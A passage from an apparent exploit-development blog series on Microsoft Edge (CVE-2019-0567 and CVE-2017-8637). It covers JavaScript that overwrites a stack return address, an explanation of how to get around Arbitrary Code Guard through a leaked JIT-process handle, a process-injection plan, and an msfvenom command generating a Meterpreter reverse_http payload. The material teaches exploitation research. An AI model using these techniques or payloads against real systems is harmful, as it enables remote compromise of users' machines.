	// Counter variable
	let counter = 0x6000;

	// Loop
	while (counter != 0)
	{
	    // Store the contents of the stack
	    tempContents = read64(stackleakPointer[0]+counter, stackleakPointer[1]);

	    // Did we find our target return address?
        if ((tempContents[0] == returnAddress[0]) && (tempContents[1] == returnAddress[1]))
        {
			document.write("[+] Found our return address on the stack!");
            document.write("<br>");
            document.write("[+] Target stack address: 0x" + hex(stackleakPointer[1]) + hex(stackleakPointer[0]+counter));
            document.write("<br>");

            // Break the loop
            break;

        }
        else
        {
        	// Decrement the counter
	    	// This is because the leaked stack address is near the stack base so we need to traverse backwards towards the stack limit
	    	counter -= 0x8;
        }
	}

	// Corrupt the return address to control RIP with 0x4141414141414141
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);
}
</script>

Open the updated exploit.html script and attach WinDbg before pressing the Click me to exploit CVE-2019-0567! button.

After attaching to WinDbg and pressing g, go ahead and click the button (may require clicking twice in some instance to detonate the exploit). Please note that sometimes there is a slight edge case where the return address isn’t located on the stack. So if the debugger shows you crashing on the GetValue method, this is likely a case of that. After testing, 10/10 times I found the return address. However, it is possible once in a while to not encounter it. It is very rare.

After running exploit.html in the debugger, we can clearly see that we have overwritten a return address on the stack with 0x4141414141414141 and Edge is attempting to return into it. We have, again, successfully corrupted control-flow and can now redirect execution wherever we want in Edge. We went over all of this, as well, in part two of this blog series!

Now that we have our read/write primitive and control-flow hijacking ported to Edge, we can now begin our Edge-specific exploitation which involves many ROP chains to bypass Edge mitigations like Arbitrary Code Guard.

Arbitrary Code Guard && Code Integrity Guard

We are now at a point where our exploit has the ability to read/write memory, we control the instruction pointer, and we know where the stack is. With these primitives, exploitation should be as follows (in terms of where exploit development currently and traditionally is at):

  1. Bypass ASLR to determine memory layout (done)
  2. Achieve read/write primitive (done)
  3. Locate the stack (done)
  4. Control the instruction pointer (done)
  5. Write a ROP payload to the stack (TBD)
  6. Write shellcode to the stack (or somewhere else in memory) (TBD)
  7. Mark the stack (or regions where shellcode is) as RWX (TBD)
  8. Execute shellcode (TBD)

Steps 5 through 8 are required as a result of DEP. DEP, a mitigation which has been beaten to death, separates code and data segments of memory. The stack, being a data segment of memory (it is only there to hold data), is not executable whenever DEP is enabled. Because of this, we invoke a function like VirtualProtect (via ROP) to mark the region of memory we wrote our shellcode to (which is a data segment that allows data to be written to it) as RWX. I have documented this procedure time and time again. We leak an address (or abuse non-ASLR modules, which is very rare now), we use our primitive to write to the stack (stack-based buffer overflow in the two previous links provided), we mark the stack as RWX via ROP (the shellcode is also on the stack) and we are now allowed to execute our shellcode since its in a RWX region of memory. With that said, let me introduce a new mitigation into the fold - Arbitrary Code Guard (ACG).

ACG is a mitigation which prohibits any dynamically-generated RWX memory. This is manifested in a few ways, pointed out by Matt Miller in his blog post on ACG. As Matt points out:

“With ACG enabled, the Windows kernel prevents a content process from creating and modifying code pages in memory by enforcing the following policy:

  1. Code pages are immutable. Existing code pages cannot be made writable and therefore always have their intended content. This is enforced with additional checks in the memory manager that prevent code pages from becoming writable or otherwise being modified by the process itself. For example, it is no longer possible to use VirtualProtect to make an image code page become PAGE_EXECUTE_READWRITE.

  2. New, unsigned code pages cannot be created. For example, it is no longer possible to use VirtualAlloc to create a new PAGE_EXECUTE_READWRITE code page.”

What this means is that an attacker can write their shellcode to a data portion of memory (like the stack) all they want, gladly. However, the permissions needed (e.g. the memory must be explicitly marked executable by the adversary) can never be achieved with ACG enabled. At a high level, no memory permissions in Edge (specifically content processes, where our exploit lives) can be modified (we can’t write our shellcode to a code page nor can we modify a data page to execute our shellcode).

Now, you may be thinking - “Connor, instead of executing native shellcode in this manner, why don’t you just use WinExec like in your previous exploit from part two of this blog series to spawn cmd.exe or some other application to download some staged DLL and just load it into the process space?” This is a perfectly valid thought - and, thus, has already been addressed by Microsoft.

Edge has another small mitigation known as “no child processes”. This nukes any ability to spawn a child process to go inject some shellcode into another process, or load a DLL. Not only that, even if there was no mitigation for child processes, there is a “sister” mitigation to ACG called Code Integrity Guard (CIG) which also is present in Edge.

CIG essentially says that only Microsoft-signed DLLs can be loaded into the process space. So, even if we could reach out to a retrieve a staged DLL and get it onto the system, it isn’t possible for us to load it into the content process, as the DLL isn’t a signed DLL (inferring the DLL is a malicious one, it wouldn’t be signed).

So, to summarize, in Edge we cannot:

  1. Use VirtualProtect to mark the stack where our shellcode is to RWX in order to execute it
  2. We can’t use VirtualProtect to make a code page (RX memory) to writable in order to write our shellcode to this region of memory (using something like a WriteProcessMemory ROP chain)
  3. We cannot allocate RWX memory within the current process space using VirtualAlloc
  4. We cannot allocate RW memory with VirtualAlloc and then mark it as RX
  5. We cannot allocate RX memory with VirtualAlloc and then mark it as RW

With the advent of all three of these mitigations, previous exploitation strategies are all thrown out of the window. Let’s talk about how this changes our exploit strategy, now knowing we cannot just execute shellcode directly within the content process.

CVE-2017-8637 - Combining Vulnerabilities

As we hinted at, and briefly touched on earlier in this blog post, we know that something has to be done about JIT code with ACG enablement. This is because, by default, JIT code is generated as RWX. If we think about it, JIT’d code first starts out as an “empty” allocation (just like when we allocate some memory with VirtualAlloc). This memory is first marked as RW (it is writable because Chakra needs to actually write the code into it that will be executed into the allocation). We know that since there is no execute permission on this RW allocation, and this allocation has code that needs to be executed, the JIT engine has to change the region of memory to RX after its generated. This means the JIT engine has to generate dynamic code that has its memory permissions changed. Because of this, no JIT code can really be generated in an Edge process with ACG enabled. As pointed out in Matt’s blog post (and briefly mentioned by us) this architectural issue was addresses as follows:

“Modern web browsers achieve great performance by transforming JavaScript and other higher-level languages into native code. As a result, they inherently rely on the ability to generate some amount of unsigned native code in a content process. Enabling JIT compilers to work with ACG enabled is a non-trivial engineering task, but it is an investment that we’ve made for Microsoft Edge in the Windows 10 Creators Update. To support this, we moved the JIT functionality of Chakra into a separate process that runs in its own isolated sandbox. The JIT process is responsible for compiling JavaScript to native code and mapping it into the requesting content process. In this way, the content process itself is never allowed to directly map or modify its own JIT code pages.”

As we have already seen in this blog post, two processes are generated (JIT server and content process) and the JIT server is responsible for taking the JavaScript code from the content process and transforming it into machine code. This machine code is then mapped back into the content process with appropriate permissions (like that of the .text section, RX). The vulnerability (CVE-2017-8637) mentioned in this section of the blog post took advantage of a flaw in this architecture to compromise Edge fully and, thus, bypass ACG. Let’s talk about a bit about the architecture of the JIT server and content process communication channel first (please note that this vulnerability has been patched).

The last thing to note, however, is where Matt says that the JIT process was moved “…into a separate process that runs in its own isolated sandbox”. Notice how Matt did not say that it was moved into an ACG-compliant process (as we know, ACG isn’t compatible with JIT). Although the JIT process may be “sandboxed” it does not have ACG enabled. It does, however, have CIG and “no child processes” enabled. We will be taking advantage of the fact the JIT process doesn’t (and still to this day doesn’t, although the new V8 version of Edge only has ACG support in a special mode) have ACG enabled. With our ACG bypass, we will leverage a vulnerability with the way Chakra-based Edge managed communications (specifically via process a handle stored within the content process) to and from the JIT server. With that said, let’s move on.

Leaking The JIT Server Handle

The content process uses an RPC channel in order to communicate with the JIT server/process. I found this out by opening chakra.dll within IDA and searching for any functions which looked interesting and contained the word “JIT”. I found an interesting function named JITManager::ConnectRpcServer. What stood out to me immediately was a call to the function DuplicateHandle within JITManager::ConnectRpcServer.

If we look at ChakraCore we can see the source (which should be close between Chakra and ChakraCore) for this function. What was very interesting about this function is the fact that the first argument this function accepts is seemingly a “handle to the JIT process”.

Since chakra.dll contains the functionality of the Chakra JavaScript engine and since chakra.dll, as we know, is loaded into the content process - this functionality is accessible through the content process (where our exploit is running). This infers at some point the content process is doing something with what seems to be a handle to the JIT server. However, we know that the value of jitProcessHandle is supplied by the caller (e.g. the function which actually invokes JITManager::ConnectRpcServer). Using IDA, we can look for cross-references to this function to see what function is responsible for calling JITManager::ConnectRpcServer.

Taking a look at the above image, we can see the function ScriptEngine::SetJITConnectionInfo is responsible for calling JITManager::ConnectRpcServer and, thus, also for providing the JIT handle to the function. Let’s look at ScriptEngine::SetJITConnectionInfo to see exactly how this function provides the JIT handle to JITManager::ConnectRpcServer.

We know that the __fastcall calling convention is in use, and that the first argument of JITManager::ConnectRpcServer (as we saw in the ChakraCore code) is where the JIT handle goes. So, if we look at the above image, whatever is in RCX directly prior to the call to JITManager::ConnectRpcServer will be the JIT handle. We can see this value is gathered from a symbol called s_jitManager.

We know that this is the value that is going to be passed to the JITManager::ConnectRpcServer function in the RCX register - meaning that this symbol has to contain the handle to the JIT server. Let’s look again, once more, at JITManager::ConnectRpcServer (this time with some additional annotation).

We already know that RCX = s_jitManager when this function is executed. Looking deeper into the disassembly (almost directly before the DuplicateHandle call) we can see that s_jitManager+0x8 (a.k.a RCX at an offset of 0x8) is loaded into R14. R14 is then used as the lpTargetHandle parameter for the call to DuplicateHandle. Let’s take a look at DuplicateHandle’s prototype (don’t worry if this is confusing, I will provide a summation of the findings very shortly to make sense of this).

If we take a look at the description above, the lpTargetHandle will “…receive the duplicate handle…”. What this means is that DuplicateHandle is used in this case to duplicate a handle to the JIT server, and store the duplicated handle within s_jitManager+0x8 (a.k.a the content process will have a handle to the JIT server) We can base this on two things - the first being that we have anecdotal evidence through the name of the variable we located in ChakraCore, which is jitprocessHandle. Although Chakra isn’t identical to ChakraCore in every regard, Chakra is following the same convention here. Instead, however, of directly supplying the jitprocessHandle - Chakra seems to manage this information through a structure called s_jitManager. The second way we can confirm this is through hard evidence.

If we examine chakra!JITManager::s_jitManager+0x8 (where we have hypothesized the duplicated JIT handle will go) within WinDbg, we can clearly see that this is a handle to a process with PROCESS_DUP_HANDLE access. We can also use Process Hacker to examine the handles to and from MicrosoftEdgeCP.exe. First, run Process Hacker as an administrator. From there, double-click on the MicrosoftEdgeCP.exe content process (the one using the most RAM as we saw, PID 4172 in this case). From there, click on the Handles tab and then sort the handles numerically via the Handle tab by clicking on it until they are in ascending order.

If we then scroll down in this list of handles, we can see our handle of 0x314. Looking at the Name column, we can also see that this is a handle to another MicrosoftEdgeCP.exe process. Since we know there are only two (whenever exploit.html is spawned and no other tabs are open) instances of MicrosoftEdgeCP.exe, the other “content process” (as we saw earlier) must be our JIT server (PID 7392)!

Another way to confirm this is by clicking on the General tab of our content process (PID 4172). From there, we can click on the Details button next to Mitigation policies to confirm that ACG (called “Dynamic code prohibited” here) is enabled for the content process where our exploit is running.

However, if we look at the other content process (which should be our JIT server) we can confirm ACG is not running. Thus, indicating, we know exactly which process is our JIT server and which one is our content process. From now on, no matter how many instances of Edge are running on a given machine, a content process will always have a PROCESS_DUP_HANDLE handle to the JIT server located at chakra::JITManager::s_jitManager+0x8.

So, in summation, we know that s_jitManager+0x8 contains a handle to the JIT server, and it is readable from the content process (where our exploit is running). You may also be asking “why does the content process need to have a PROCESS_DUP_HANDLE handle to the JIT server?” We will come to this shortly.

Turning our attention back to the aforementioned analysis, we know we have a handle to the JIT server. You may be thinking - we could essentially just use our arbitrary read primitive to obtain this handle and then use it to perform some operations on the JIT process, since the JIT process doesn’t have ACG enabled! This may sound very enticing at first. However, let’s take a look at a malicious function like VirtualAllocEx for a second, which can allocate memory within a remote process via a supplied process handle (which we have). VirtualAllocEx documentation states that:

The handle must have the PROCESS_VM_OPERATION access right. For more information, see Process Security and Access Rights.

This “kills” our idea in its tracks - the handle we have only has the permission PROCESS_DUP_HANDLE. We don’t have the access rights to allocate memory in a remote process where perhaps ACG is disabled (like the JIT server). However, due to a vulnerability (CVE-2017-8637), there is actually a way we can abuse the handle stored within s_jitManager+0x8 (which is a handle to the JIT server). To understand this, let’s just take a few moments to understand why we even need a handle to the JIT server, from the content process, in the first place.

Let’s now turn out attention to this this Google Project Zero issue regarding the CVE.

We know that the JIT server (a different process) needs to map JIT’d code into the content process. As the issue explains:

In order to be able to map executable memory in the calling process, JIT process needs to have a handle of the calling process. So how does it get that handle? It is sent by the calling process as part of the ThreadContext structure. In order to send its handle to the JIT process, the calling process first needs to call DuplicateHandle on its (pseudo) handle.

The above is self explanatory. If you want to do process injection (e.g. map code into another process) you need a handle to that process. So, in the case of the JIT server - the JIT server knows it is going to need to inject some code into the content process. In order to do this, the JIT server needs a handle to the content process with permissions such as PROCESS_VM_OPERATION. So, in order for the JIT process to have a handle to the content process, the content process (as mentioned above) shares it with the JIT process. However, this is where things get interesting.

The way the content process will give its handle to the JIT server is by duplicating its own pseudo handle. According to Microsoft, a pseudo handle:

… is a special constant, currently (HANDLE)-1, that is interpreted as the current process handle.

So, in other words, a pseudo handle is a handle to the current process and it is only valid within context of the process it is generated in. So, for example, if the content process called GetCurrentProcess to obtain a pseudo handle which represents the content process (essentially a handle to itself), this pseudo handle wouldn’t be valid within the JIT process. This is because the pseudo handle only represents a handle to the process which called GetCurrentProcess. If GetCurrentProcess is called in the JIT process, the handle generated is only valid within the JIT process. It is just an “easy” way for a process to specify a handle to the current process. If you supplied this pseudo handle in a call to WriteProcessMemory, for instance, you would tell WriteProcessMemory “hey, any memory you are about to write to is found within the current process”. Additionally, this pseudo handle has PROCESS_ALL_ACCESS permissions.

Now that we know what a pseudo handle is, let’s revisit this sentiment:

The way the content process will give its handle to the JIT server is by duplicating its own pseudo handle.

What the content process will do is obtain its pseudo handle by calling GetCurrentProcess (which is only valid within the content process). This handle is then used in a call to DuplicateHandle. In other words, the content process will duplicate its pseudo handle. You may be thinking, however, “Connor you just told me that a pseudo handle can only be used by the process which called GetCurrentProcess. Since the content process called GetCurrentProcess, the pseudo handle will only be valid in the content process. We need a handle to the content process that can be used by another process, like the JIT server. How does duplicating the handle change the fact this pseudo handle can’t be shared outside of the content process, even though we are duplicating the handle?”

The answer is pretty straightforward - if we look in the GetCurrentProcess Remarks section we can see the following text:

A process can create a “real” handle to itself that is valid in the context of other processes, or that can be inherited by other processes, by specifying the pseudo handle as the source handle in a call to the DuplicateHandle function.

So, even though the pseudo handle only represents a handle to the current process and is only valid within the current process, the DuplicateHandle function has the ability to convert this pseudo handle, which is only valid within the current process (in our case, the current process is the content process where the pseudo handle to be duplicated exists) into an actual or real handle which can be leveraged by other processes. This is exactly why the content process will duplicate its pseudo handle - it allows the content process to create an actual handle to itself, with PROCESS_ALL_ACCESS permissions, which can be actively used by other processes (in our case, this duplicated handle can be used by the JIT server to map JIT’d code into the content process).

So, in totality, its possible for the content process to call GetCurrentProcess (which returns a PROCESS_ALL_ACCESS handle to the content process) and then use DuplicateHandle to duplicate this handle for the JIT server to use. However, where things get interesting is the third parameter of DuplicateHandle, which is hTargetProcessHandle. This parameter has the following description:

A handle to the process that is to receive the duplicated handle. The handle must have the PROCESS_DUP_HANDLE access right…

In our case, we know that the “process that is to receive the duplicated handle” is the JIT server. After all, we are trying to send a (duplicated) content process handle to the JIT server. This means that when the content process calls DuplicateHandle in order to duplicate its handle for the JIT server to use, according to this parameter, the JIT server also needs to have a handle to the content process with PROCESS_DUP_HANDLE. If this doesn’t make sense, re-read the description provided of hTargetProcessHandle. This is saying that this parameter requires a handle to the process where the duplicated handle is going to go (specifically a handle with PROCESS_DUP_HANDLE) permissions.

This means, in less words, that if the content process wants to call DuplicateHandle in order to send/share its handle to/with the JIT server so that the JIT server can map JIT’d code into the content process, the content process also needs a PROCESS_DUP_HANDLE to the JIT server.

This is the exact reason why the s_jitManager structure in the content process contains a PROCESS_DUP_HANDLE to the JIT server. Since the content process now has a PROCESS_DUP_HANDLE handle to the JIT server (s_jitManager+0x8), this s_jitManager+0x8 handle can be passed in to the hTargetProcessHandle parameter when the content process duplicates its handle via DuplicateHandle for the JIT server to use. So, to answer our initial question - the reason why this handle exists (why the content process has a handle to the JIT server) is so DuplicateHandle calls succeed where content processes need to send their handle to the JIT server!

As a point of contention, this architecture is no longer used and the issue was fixed according to Ivan:

This issue was fixed by using an undocumented system_handle IDL attribute to transfer the Content Process handle to the JIT Process. This leaves handle passing in the responsibility of the Windows RPC mechanism, so Content Process no longer needs to call DuplicateHandle() or have a handle to the JIT Process.

So, to beat this horse to death, let me concisely reiterate one last time:

  1. JIT process wants to inject JIT’d code into the content process. It needs a handle to the content process to inject this code
  2. In order to fulfill this need, the content process will duplicate its handle and pass it to the JIT server
  3. In order for a duplicated handle from process “A” (the content process) to be used by process “B” (the JIT server), process “B” (the JIT server) first needs to give its handle to process “A” (the content process) with PROCESS_DUP_HANDLE permissions. This is outlined by hTargetProcessHandle which requires “a handle to the process that is to receive the duplicated handle” when the content process calls DuplicateHandle to send its handle to the JIT process
  4. Content process first stores a handle to the JIT server with PROCESS_DUP_HANDLE to fulfill the needs of hTargetProcessHandle
  5. Now that the content process has a PROCESS_DUP_HANDLE to the JIT server, the content process can call DuplicateHandle to duplicate its own handle and pass it to the JIT server
  6. JIT server now has a handle to the content process

The issue with this is number three, as outlined by Microsoft:

A process that has some of the access rights noted here can use them to gain other access rights. For example, if process A has a handle to process B with PROCESS_DUP_HANDLE access, it can duplicate the pseudo handle for process B. This creates a handle that has maximum access to process B. For more information on pseudo handles, see GetCurrentProcess.

What Microsoft is saying here is that if a process has a handle to another process, and that handle has PROCESS_DUP_HANDLE permissions, it is possible to use another call to DuplicateHandle to obtain a full-fledged PROCESS_ALL_ACCESS handle. This is the exact scenario we currently have. Our content process has a PROCESS_DUP_HANDLE handle to the JIT process. As Microsoft points out, this can be dangerous because it is possible to call DuplicateHandle on this PROCESS_DUP_HANDLE handle in order to obtain a full-access handle to the JIT server! This would allow us to have the necessary handle permissions, as we showed earlier with VirtualAllocEx, to compromise the JIT server. The reason why CVE-2017-8637 is an ACG bypass is because the JIT server doesn’t have ACG enabled! If we, from the content process, can allocate memory and write shellcode into the JIT server (abusing this handle) we would compromise the JIT process and execute code, because ACG isn’t enabled there!

So, we could setup a call to DuplicateHandle as such:

DuplicateHandle(
	jitHandle,		// Leaked from s_jitManager+0x8 with PROCESS_DUP_HANDLE permissions
	GetCurrentProcess(),	// Pseudo handle to the current process
	GetCurrentProcess(),	// Pseudo handle to the current process
	&fulljitHandle,		// Variable we supply that will receive the PROCESS_ALL_ACCESS handle to the JIT server
	0,			// Ignored since we later specify DUPLICATE_SAME_ACCESS
	0,			// FALSE (handle can't be inherited)
	DUPLICATE_SAME_ACCESS	// Create handle with same permissions as source handle (source handle = GetCurrentProcessHandle() so PROCESS_ALL_ACCESS permissions)
);

Let’s talk about where these parameters came from.

  1. hSourceProcessHandle - “A handle to the process with the handle to be duplicated. The handle must have the PROCESS_DUP_HANDLE access right.”
    • The value we are passing here is jitHandle (which represents our PROCESS_DUP_HANDLE to the JIT server). As the parameter description says, we pass in the handle to the process where the “handle we want to duplicate exists”. Since we are passing in the PROCESS_DUP_HANDLE to the JIT server, this essentially tells DuplicateHandle that the handle we want to duplicate exists somewhere within this process (the JIT process).
  2. hSourceHandle - “The handle to be duplicated. This is an open object handle that is valid in the context of the source process.”
    • We supply a value of GetCurrentProcess here. What this means is that we are asking DuplicateHandle to duplicate a pseudo handle to the current process. In other words, we are asking DuplicateHandle to duplicate us a PROCESS_ALL_ACCESS handle. However, since we have passed in the JIT server as the hSourceProcessHandle parameter we are instead asking DuplicateHandle to “duplicate us a pseudo handle for the current process”, but we have told DuplicateHandl that our “current process” is the JIT process as we have changed our “process context” by telling DuplicateHandle to perform this operation in context of the JIT process. Normally GetCurrentProcess would return us a handle to the process in which the function call occurred in (which, in our exploit, will obviously happen within a ROP chain in the content process). However, we use the “trick” up our sleeve, which is the leaked handle to the JIT server we have stored in the content process. When we supply this handle, we “trick” DuplicateHandle into essentially duplicating a PROCESS_ALL_ACCESS handle within the JIT process instead.
  3. hTargetProcessHandle - “A handle to the process that is to receive the duplicated handle. The handle must have the PROCESS_DUP_HANDLE access right.”
    • We supply a value of GetCurrentProcess here. This makes sense, as we want to receive the full handle to the JIT server within the content process. Our exploit is executing within the content process so we tell DuplicateHandle that the process we want to receive this handle in context of is the current, or content process. This will allow the content process to use it later.
  4. lpTargetHandle - “A pointer to a variable that receives the duplicate handle. This handle value is valid in the context of the target process. If hSourceHandle is a pseudo handle returned by GetCurrentProcess or GetCurrentThread, DuplicateHandle converts it to a real handle to a process or thread, respectively.”
    • This is the most important part. Not only is this the variable that will receive our handle (fulljitHandle just represents a memory address where we want to store this handle. In our exploit we will just find an empty .data address to store it in), but the second part of the parameter description is equally as important. We know that for hSourceHandle we supplied a pseudo handle via GetCurrentProcess. This description essentially says that DuplicateHandle will convert this pseudo handle in hSourceHandle into a real handle when the function completes. As we mentioned, we are using a “trick” with our hSourceProcessHandle being the JIT server and our hSourceHandle being a pseudo handle. We, as mentioned, are telling Edge to search within the JIT process for a pseudo handle “to the current process”, which is the JIT process. However, a pseudo handle would really only be usable in context of the process where it was being obtained from. So, for instance, if we obtained a pseudo handle to the JIT process it would only be usable within the JIT process. This isn’t ideal, because our exploit is within the content process and any handle that is only usable within the JIT process itself is useless to us. However, since DuplicateHandle will convert the pseudo handle to a real handle, this real handle is usable by other processes. This essentially means our call to DuplicateHandle will provide us with an actual handle with PROCESS_ALL_ACCESS to the JIT server from another process (from the content process in our case).
  5. dwDesiredAccess - “The access requested for the new handle. For the flags that can be specified for each object type, see the following Remarks section. This parameter is ignored if the dwOptions parameter specifies the DUPLICATE_SAME_ACCESS flag…”
    • We will be supplying the DUPLICATE_SAME_ACCESS flag later, meaning we can set this to 0.
  6. bInheritHandle - “A variable that indicates whether the handle is inheritable. If TRUE, the duplicate handle can be inherited by new processes created by the target process. If FALSE, the new handle cannot be inherited.”
    • Here we set the value to FALSE. We don’t want to/nor do we care if this handle is inheritable.
  7. dwOptions - “Optional actions. This parameter can be zero, or any combination of the following values.”
    • Here we provide 2, or DUPLICATE_SAME_ACCESS. This instructs DuplicateHandle that we want our duplicate handle to have the same permissions as the handle provided by the source. Since we provided a pseudo handle as the source, which has PROCESS_ALL_ACCESS, our final duplicated handle fulljitHandle will have a real PROCESS_ALL_ACCESS handle to the JIT server which can be used by the content process.

If this all sounds confusing, take a few moments to keep reading the above. Additionally, here is a summation of what I said:

  1. DuplicateHandle let’s you decide in what process the handle you want to duplicate exists. We tell DuplicateHandle that we want to duplicate a handle within the JIT process, using the low-permission PROCESS_DUP_HANDLE handle we have leaked from s_jitManager.
  2. We then tell DuplicateHandle the handle we want to duplicate within the JIT server is a GetCurrentProcess pseudo handle. This handle has PROCESS_ALL_ACCESS
  3. Although GetCurrentProcess returns a handle only usable by the process which called it, DuplicateHandle will perform a conversion under the hood to convert this to an actual handle which other processes can use
  4. Lastly, we tell DuplicateHandle we want a real handle to the JIT server, which we can use from the content process, with PROCESS_ALL_ACCESS permissions via the DUPLICATE_SAME_ACCESS flag which will tell DuplicateHandle to duplicate the handle with the same permissions as the pseudo handle (which is PROCESS_ALL_ACCESS).

Again, just keep re-reading over this and thinking about it logically. If you still have questions, feel free to email me. It can get confusing pretty quickly (at least to me).

Now that we are armed with the above information, it is time to start outline our exploitation plan.

Exploitation Plan 2.0

Let’s briefly take a second to rehash where we are at:

  1. We have an ASLR bypass and we know the layout of memory
  2. We can read/write anywhere in memory as much or as little as we want
  3. We can direct program execution to wherever we want in memory
  4. We know where the stack is and can force Edge to start executing our ROP chain

However, we know the pesky mitigations of ACG, CIG, and “no child processes” are still in our way. We can’t just execute our payload because we can’t make our payload as executable. So, with that said, the first option one could take is using a pure data-only attack. We could programmatically, via ROP, build out a reverse shell. This is very cumbersome and could take thousands of ROP gadgets. Although this is always a viable alternative, we want to detonate actual shellcode somehow. So, the approach we will take is as follows:

  1. Abuse CVE-2017-8637 to obtain a PROCESS_ALL_ACCESS handle to the JIT process
  2. ACG is disabled within the JIT process. Use our ability to execute a ROP chain in the content process to write our payload to the JIT process
  3. Execute our payload within the JIT process to obtain shellcode execution (essentially perform process injection to inject a payload to the JIT process where ACG is disabled)

To break down how we will actually accomplish step 2 in even greater detail, let’s first outline some stipulations about processes protected by ACG. We know that the content process (where our exploit will execute) is protected by ACG. We know that the JIT server is not protected by ACG. We already know that a process not protected by ACG is allowed to inject into a process that is protected by ACG. We clearly see this with the out-of-process JIT architecture of Edge. The JIT server (not protected by ACG) injects code into the content process (protected by ACG) - this is expected behavior. However, what about a injection from a process that is protected by ACG into a process that is not protected by ACG (e.g. injection from the content process into the JIT process, which we are attempting to do)?

This is actually prohibited (with a slight caveat). A process that is protected by ACG is not allowed to directly inject RWX memory and execute it within a process not protected by ACG. This makes sense, as this stipulation “protects” against an attacker compromising the JIT process (ACG disabled) from the content process (ACG enabled). However, we mentioned the stipulation is only that we cannot directly embed our shellcode as RWX memory and directly execute it via a process injection call stack like VirtualAllocEx (allocate RWX memory within the JIT process) -> WriteProcessMemory -> CreateRemoteThread (execute the RWX memory in the JIT process). However, there is a way we can bypass this stipulation.

Instead of directly allocating RWX memory within the JIT process (from the content process) we could instead just write a ROP chain into the JIT process. This doesn’t require RWX memory, and only requires RW memory. Then, if we could somehow hijack control-flow of the JIT process, we could have the JIT process execute our ROP chain. Since ACG is disabled in the JIT process, our ROP chain could mark our shellcode as RWX instead of directly doing it via VirtualAllocEx! Essentially, our ROP chain would just be a “traditional” one used to bypass DEP in the JIT process. This would allow us to bypass ACG! This is how our exploit chain would look:

  1. Abuse CVE-2017-8637 to obtain a PROCESS_ALL_ACCESS handle to the JIT process (this allows us to invoke memory operations on the JIT server from the content process)
  2. Allocate memory within the JIT process via VirtualAllocEx and the above handle
  3. Write our final shellcode (a reflective DLL from Meterpreter) into the allocation (our shellcode is now in the JIT process as RW)
  4. Create a thread within the JIT process via CreateRemoteThread, but create this thread as suspended so it doesn’t execute and have the start/entry point of our thread be a ret ROP gadget
  5. Dump the CONTEXT structure of the thread we just created (and now control) in the JIT process via GetThreadContext to retrieve its stack pointer (RSP)
  6. Use WriteProcessMemory to write the “final” ROP chain into the JIT process by leveraging the leaked stack pointer (RSP) of the thread we control in the JIT process from our call to GetThreadContext. Since we know where the stack is for our thread we created, from GetThreadContext, we can directly write a ROP chain to it with WriteProcessMemory and our handle to the JIT server. This ROP chain will mark our shellcode, which we already injected into the JIT process, as RWX (this ROP chain will work just like any traditional ROP chain that calls VirtualProtect)
  7. Update the instruction pointer of the thread we control to return into our ROP chains
  8. Call ResumeThread. This call will kick off execution of our thread, which has its entry point set to a return routine to start executing off of the stack, where our ROP chain is
  9. Our ROP chain will mark our shellcode as RWX and will jump to it and execute it

Lastly, I want to quickly point out the old Advanced Windows Exploitation syllabus from Offensive Security. After reading the steps outlined in this syllabus, I was able to formulate my aforementioned exploitation path off of the ground work laid here. As this blog post continues on, I will explain some of the things I thought would work at first and how the above exploitation path actually came to be. Although the syllabus I read was succinct and concise, I learned as I developing my exploit some additional things Control Flow Guard checks which led to many more ROP chains than I would have liked. As this blog post goes on, I will explain my thought process as to what I thought would work and what actually worked.

If the above steps seem a bit confusing - do not worry. We will dedicate a section to each concept in the rest of the blog post. You have gotten through a wall of text and, if you have made it to this point, you should have a general understanding of what we are trying to accomplish. Let’s now start implementing this into our exploit. We will start with our shellcode.

Shellcode

The first thing we need to decide is what kind of shellcode we want to execute. What we will do is store our shellcode in the .data section of chakra.dll within the content process. This is so we know its location when it comes time to inject it into the JIT process. So, before we begin our ROP chain, we need to load our shellcode into the content process so we can inject it into the JIT process. A typical example of a reverse shell, on Windows, is as follows:

  1. Create an instance of cmd.exe
  2. Using the socket library of the Windows API to put the I/O for cmd.exe on a socket, making the cmd.exe session remotely accessible over a network connection.

We can see this within the Metasploit Framework

Here is the issue - within Edge, we know there is a “no child processes” mitigation. Since a reverse shell requires spawning an instance of cmd.exe from the code calling it (our exploit), we can’t just use a normal reverse shell. Another way we could load code into the process space is through a DLL. However, remember that even though ACG is disabled in the JIT process, the JIT process still has Code Integrity Guard (CIG) enabled - meaning we can’t just use our payload to download a DLL to disk and then load it with LoadLibraryA. However, let’s take a further look at CIG’s documentation. Specifically regarding the Mitigation Bypass and Bounty for Defense Terms. If we scroll down to the “Code integrity mitigations”, we can take a look at what Microsoft deems to be out-of-scope.

If the image above is hard to view, open it in a new tab. As we can see Microsoft says that “in-memory injection” is out-of-scope of bypassing CIG. This means Microsoft knows this is an issue that CIG doesn’t address. There is a well-known technique known as reflective DLL injection where an adversary can use pure shellcode (a very large blob of shellcode) in order to load an entire DLL (which is unsigned by Microsoft) in memory, without ever touching disk. Red teamers have beat this concept to death, so I am not going to go in-depth here. Just know that we need to use reflective DLL because we need a payload which doesn’t spawn other processes.

Most command-and-control frameworks, like the one we will use (Meterpreter), use reflective DLL for their post-exploitation capabilities. There are two ways to approach this - staged and stageless. Stageless payloads will be a huge blob of shellcode that not only contain the DLL itself, but a routine that injects that DLL into memory. The other alternative is a staged payload - which will use a small first-stage shellcode which calls out to a command-and-control server to fetch the DLL itself to be injected. For our purposes, we will be using a staged reflective DLL for our shellcode.

To be more simple - we will be using the windows/meterpreter/x64/reverse_http payload from Metasploit. Essentially you can opt for any shellcode to be injected which doesn’t fork a new process.

The shellcode can be generated as follows: msfvenom -p windows/x64/meterpreter/reverse_http LHOST=YOUR_SERVER_IP LPORT=443 -f c

What I am about to explain next is (arguably) the most arduous part of this exploit. We know that in our exploit JavaScript limits us to 32-bit boundaries when reading and writing. So, this means we have to write our shellcode 4 bytes at a time. So, in order to do this, we need to divide up our exploit into 4-byte “segments”. I did this manually, but later figured out how to slightly automate getting the shellcode correct.

To “automate” this, we first need to get our shellcode into one contiguous line. Save the shellcode from the msfvenom output in a file named shellcode.txt.

Once the shellcode is in shellcode.txt, we can use the following one liner:

